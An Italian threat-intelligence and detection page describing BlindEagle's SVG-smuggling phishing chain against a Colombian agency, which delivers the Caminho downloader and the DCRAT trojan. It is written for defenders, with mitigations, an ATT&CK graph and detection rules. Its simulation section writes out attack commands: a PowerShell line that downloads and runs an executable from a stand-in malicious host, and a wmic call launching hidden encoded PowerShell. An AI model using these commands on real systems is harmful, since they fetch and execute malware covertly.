BlindEagle Prende di Mira un’Agenzia Governativa Colombiana con Caminho e DCRAT
Detection stack
- AIDR
- Alert
- ETL
- Query
Riassunto
BlindEagle ha condotto un’operazione di spear-phishing rivolto a un’agenzia governativa colombiana, consegnando un allegato SVG armato che ha avviato una catena di esecuzione JavaScript-PowerShell. Quella sequenza ha scaricato un downloader chiamato Caminho, che ha quindi recuperato il trojan di accesso remoto open-source DCRAT ospitato su Discord. La fase finale ha utilizzato il process hollowing in MSBuild.exe e ha applicato diversi metodi di evasione per ridurre la rilevazione.
Indagine
Zscaler ThreatLabz ha analizzato il flusso di infezione e ha riportato un approccio di contrabbando SVG, più livelli di JavaScript offuscato, un comando PowerShell attivato da WMI e la consegna di Caminho attraverso un URL ospitato su Discord. L’indagine ha anche associato l’infrastruttura di supporto con indirizzi IP svedesi e un provider DNS dinamico (ydns.eu).
Mitigazione
Applicare controlli più rigorosi sugli allegati di posta in entrata, specialmente per i contenuti SVG, e imporre la disarmamento/ispezione dei contenuti per gli script incorporati. Usare politiche proxy web per limitare l’accesso agli endpoint di hosting di file sospetti, inclusi gli URL di file Discord utilizzati per la distribuzione di malware. Monitorare schemi anomali di esecuzione di PowerShell e WMI e imporre politiche di whitelisting delle applicazioni che coprano l’uso di MSBuild.exe.
Risposta
Risposta
Attivare avvisi per l’artefatto SVG dannoso, il nome del file JavaScript di riferimento e i download che raggiungono l’URL Discord. Cercare tracce in memoria o su disco di Caminho e DCRAT, evidenze di process hollowing di MSBuild.exe e persistenza tramite modifiche al registro o attività pianificate. Mettere in quarantena gli endpoint impattati e bloccare il dominio C2 identificato.
“graph TB %% Class definitions classDef action fill:#99ccff classDef technique fill:#ffcc99 classDef tool fill:#cccccc classDef malware fill:#ff9999 %% Nodes initial_access_phishing[“<b>Azione</b> – <b>T1566.001 Allegato di Phishing</b><br/>Allegato SVG nell’email”] class initial_access_phishing action user_exec_malicious_link[“<b>Azione</b> – <b>T1204.001 Esecuzione Utente</b><br/>Clic su immagine SVG malevola”] class user_exec_malicious_link action user_exec_malicious_file[“<b>Azione</b> – <b>T1204.002 Esecuzione Utente</b><br/>Apri file JavaScript”] class user_exec_malicious_file action obfuscation_svg_smuggling[“<b>Tecnica</b> – <b>T1027.017</b><br/>Contrabbando SVG per nascondere script”] class obfuscation_svg_smuggling technique obfuscation_embedded_payloads[“<b>Tecnica</b> – <b>T1027.009</b><br/>Payload JavaScript codificato in Base64”] class obfuscation_embedded_payloads technique command_js[“<b>Tecnica</b> – <b>T1059.007 JavaScript</b><br/>Script di deoffuscamento”] class command_js technique command_powershell[“<b>Tecnica</b> – <b>T1059.001 PowerShell</b><br/>WMI Create per eseguire PowerShell”] class command_powershell technique event_wmi_subscription[“<b>Tecnica</b> – <b>T1546.003</b><br/>Esecuzione sottoscrizione evento WMI”] class event_wmi_subscription technique obfuscation_steganography[“<b>Tecnica</b> – <b>T1027.003</b><br/>Payload nascosto in immagine PNG”] class obfuscation_steganography technique reflective_code_loading[“<b>Tecnica</b> – <b>T1620</b><br/>Caricamento assembly .NET riflessivo”] class reflective_code_loading technique process_hollowing[“<b>Tecnica</b> – <b>T1055.012</b><br/>Inscenare MsBuild”] class process_hollowing technique downloader_caminho[“<b>Strumento</b> – <b>Nome</b>: Caminho downloader<br/><b>Scopo</b>: Scaricare DCRAT”] class downloader_caminho tool malware_dcrat[“<b>Malware</b> – <b>Nome</b>: DCRAT”] class malware_dcrat malware amsi_bypass[“<b>Tecnica</b> – <b>T1027.005</b><br/>Patch AMSI per bypassare il rilevamento”] class amsi_bypass technique persistence_run_key[“<b>Tecnica</b> – <b>T1547.001</b><br/>Crea chiave Run nel registro”] class persistence_run_key technique persistence_scheduled_task[“<b>Tecnica</b> – <b>T1053</b><br/>Crea attività programmata”] class persistence_scheduled_task technique c2_discord[“<b>Comando & Controllo</b> – URL Discord utilizzato per la distribuzione del payload”] class c2_discord technique %% Connections initial_access_phishing u002du002d>|leads_to| user_exec_malicious_link user_exec_malicious_link u002du002d>|leads_to| user_exec_malicious_file user_exec_malicious_file u002du002d>|leads_to| obfuscation_svg_smuggling obfuscation_svg_smuggling u002du002d>|leads_to| obfuscation_embedded_payloads obfuscation_embedded_payloads u002du002d>|leads_to| command_js command_js u002du002d>|leads_to| command_powershell command_powershell u002du002d>|leads_to| event_wmi_subscription event_wmi_subscription u002du002d>|leads_to| obfuscation_steganography obfuscation_steganography u002du002d>|leads_to| reflective_code_loading reflective_code_loading u002du002d>|leads_to| process_hollowing process_hollowing u002du002d>|leads_to| downloader_caminho downloader_caminho u002du002d>|downloads| malware_dcrat malware_dcrat u002du002d>|performs| amsi_bypass malware_dcrat u002du002d>|establishes| persistence_run_key malware_dcrat u002du002d>|establishes| persistence_scheduled_task malware_dcrat u002du002d>|uses| c2_discord “
Flusso di attacco
Rilevamenti
Stringhe Powershell Sospette (via powershell)
Visualizza
LOLBAS WScript/CScript (via process_creation)
Visualizza
Possibile Archivio Internet Risolto da Processo Insolito (via dns_query)
Visualizza
Chiama Metodi .NET Sospetti da Powershell (via powershell)
Visualizza
IOC (HashMd5) per rilevare: BlindEagle prende di mira l’agenzia governativa colombiana con Caminho e DCRAT
Visualizza
IOC (SourceIP) per rilevare: BlindEagle prende di mira l’agenzia governativa colombiana con Caminho e DCRAT
Visualizza
IOC (HashSha1) per rilevare: BlindEagle prende di mira l’agenzia governativa colombiana con Caminho e DCRAT
Visualizza
IOC (HashSha256) per rilevare: BlindEagle prende di mira l’agenzia governativa colombiana con Caminho e DCRAT
Visualizza
IOC (DestinationIP) per rilevare: BlindEagle prende di mira l’agenzia governativa colombiana con Caminho e DCRAT
Visualizza
Rilevazione del comando PowerShell BlindEagle che sfrutta WMI [Windows Powershell]
Visualizza
Esecuzione Simulazione
Prerequisito: il Controllo Preliminare di Telemetria e Base deve essere superato.
Motivazione: Questa sezione delinea l’esecuzione precisa della tecnica avversaria (TTP) progettata per attivare la regola di rilevamento. I comandi e il resoconto DEVONO riflettere direttamente le TTP identificate e mirare a generare la telemetria esatta prevista dalla logica di rilevamento.
-
Narrativa e Comandi di Attacco:
L’attore di minaccia (BlindEagle) utilizza WMI per spawnare un processo PowerShell che scarica il payload “Caminho” da un server remoto C2 ed eseguirlo in memoria. Sfruttandowmic.execon il metodoprocess call createl’attacker può eseguire PowerShell senza interagire con una sessione utente, rendendo l’attività furtiva. La riga di comando contiene la parola letterale ‘powershell’, che soddisfa la condizione della regola di rilevamento.-
Fase 1 – Preparare la monolinea PowerShell malevola:
$url = "http://malicious.example.com/caminho.exe" $out = "$env:TEMPcaminho.exe" Invoke-WebRequest -Uri $url -OutFile $out; PowerShell -ExecutionPolicy Bypass -File $out -
Fase 2 – Eseguire tramite WMI:
$psCmd = 'powershell -nop -w hidden -enc <base64-encoded-payload>' wmic process call create "$psCmd"
La presenza di
powershellnel campoCommandLinedell’evento Sysmon 1 generato dalwmicprocesso figlio attiverà la regola. -
-
Script di Test di Regressione:
# Simulazione PowerShell via WMI di BlindEagle # ---------------------------------------------------------------------- # 1. Definisci payload malevolo (per il test usiamo un comando echo benigno) $payload = 'Write-Host "Esecuzione Caminho simulata"' $encoded = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($payload)) # 2. Costruisci la riga di comando PowerShell che include la parola letterale "powershell" $psCommand = "powershell -NoProfile -EncodedCommand $encoded" # 3. Avvia il comando tramite WMI (wmic) per generare un evento Sysmon EventID 1 $wmicCommand = "wmic process call create `"$psCommand`"" Write-Host "Esecuzione tramite WMI: $wmicCommand" Invoke-Expression $wmicCommand # 4. Opzionale: Registrare per verifica Write-Host "Simulazione completata. Verificare rilevamento in SIEM." -
Comandi di Pulizia:
# Rimuovere eventuali file temporanei (nessuno creato in questa simulazione) # Termina eventuali processi wmic o PowerShell residui avviati per il test Get-Process -Name wmic, powershell -ErrorAction SilentlyContinue | Stop-Process -Force Write-Host "Pulizia completata."